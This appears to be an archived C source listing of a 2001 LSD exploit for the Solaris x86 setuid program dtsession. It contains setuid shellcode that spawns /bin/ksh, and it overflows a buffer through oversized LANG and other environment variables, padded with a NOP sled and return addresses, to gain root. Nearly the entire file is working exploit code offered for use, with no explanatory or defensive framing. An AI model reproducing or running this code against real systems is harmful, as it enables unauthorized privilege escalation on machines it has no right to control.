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C/C++ Source or Header  |  2005-02-12  |  3KB  |  88 lines
  1. /*## copyright LAST STAGE OF DELIRIUM mar 2001 poland        *://lsd-pl.net/ #*/
  2. /*## /usr/dt/bin/dtsession                                                   #*/
  3.  
  4. #define NOPNUM 6000
  5. #define ADRNUM 400
  6. #define PCHNUM 6000
  7. #define JMPNUM 6000
  8.  
  9. char setuidshellcode[]=
  10.     "\x33\xc0"             /* xorl    %eax,%eax              */
  11.     "\xeb\x08"             /* jmp     <setuidshellcode+12>   */
  12.     "\x5f"                 /* popl    %edi                   */
  13.     "\x47"                 /* incl    %edi                   */
  14.     "\xab"                 /* stosl   %eax,%es:(%edi)        */
  15.     "\x88\x47\x01"         /* movb    %al,0x1(%edi)          */
  16.     "\xeb\x0d"             /* jmp     <setuidshellcode+25>   */
  17.     "\xe8\xf3\xff\xff\xff" /* call    <setuidshellcode+4>    */
  18.     "\x9a\xff\xff\xff\xff"
  19.     "\x07\xff"
  20.     "\xc3"                 /* ret                            */
  21.     "\x33\xc0"             /* xorl    %eax,%eax              */
  22.     "\x50"                 /* pushl   %eax                   */
  23.     "\xb0\x17"             /* movb    $0x17,%al              */
  24.     "\xe8\xee\xff\xff\xff" /* call    <setuidshellcode+17>   */
  25.     "\xeb\x16"             /* jmp     <setuidshellcode+59>   */
  26.     "\x33\xd2"             /* xorl    %edx,%edx              */
  27.     "\x58"                 /* popl    %eax                   */
  28.     "\x8d\x78\x14"         /* leal    0x14(%eax),edi         */
  29.     "\x52"                 /* pushl   %edx                   */
  30.     "\x57"                 /* pushl   %edi                   */
  31.     "\x50"                 /* pushl   %eax                   */
  32.     "\xab"                 /* stosl   %eax,%es:(%edi)        */
  33.     "\x92"                 /* xchgl   %eax,%edx              */
  34.     "\xab"                 /* stosl   %eax,%es:(%edi)        */
  35.     "\x88\x42\x08"         /* movb    %al,0x7(%edx)          */
  36.     "\xb0\x3b"             /* movb    $0x3b,%al              */
  37.     "\xe8\xd6\xff\xff\xff" /* call    <setuidshellcode+17>   */
  38.     "\xe8\xe5\xff\xff\xff" /* call    <setuidshellcode+37>   */
  39.     "/bin/ksh"
  40. ;
  41.  
  42. char jump[]=
  43.     "\x8b\xc4"             /* movl    %esp,%eax              */
  44.     "\xc3"                 /* ret                            */
  45. ;
  46.  
  47. main(int argc,char **argv){
  48.     char buffer[20000],*b,adr[4],pch[4],jmp[4],*envp[4],display[128];
  49.     unsigned int i;
  50.  
  51.     printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland  //lsd-pl.net/\n");
  52.     printf("/usr/dt/bin/dtsession for solaris 2.7 (2.6,2.8 ?) x86\n\n");
  53.  
  54.     if(argc!=2){
  55.         printf("usage: %s xserver:display\n",argv[0]);
  56.         exit(-1);
  57.     }
  58.  
  59.     *((unsigned int*)adr)=((*(unsigned int(*)())jump)())+3540+3000-0x4d0;
  60.     *((unsigned int*)pch)=((*(unsigned int(*)())jump)())+3540+3000+6000;
  61.     *((unsigned int*)jmp)=((*(unsigned int(*)())jump)())+3540+3000+6000+6000;
  62.  
  63.     *((unsigned int*)adr)=(((i=*((unsigned int*)adr))>>8))|(i<<24);
  64.  
  65.     sprintf(display,"DISPLAY=%s",argv[1]);
  66.     envp[0]=&buffer[0];
  67.     envp[1]=&buffer[19000];
  68.     envp[2]=display;
  69.     envp[3]=0;
  70.  
  71.     b=buffer;
  72.     sprintf(b,"xxx=");
  73.     b+=4;
  74.     for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
  75.     for(i=0;i<JMPNUM;i++) *b++=jmp[i%4];
  76.     for(i=0;i<NOPNUM;i++) *b++=0x90;
  77.     for(i=0;i<strlen(setuidshellcode);i++) *b++=setuidshellcode[i];
  78.     *b=0;
  79.  
  80.     b=&buffer[19000];
  81.     sprintf(b,"LANG=");
  82.     b+=5;
  83.     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  84.     *b=0;
  85.  
  86.     execle("/usr/dt/bin/dtsession","lsd",0,envp);
  87. }
  88. /*                www.hack.co.za           [14 April 2001]*/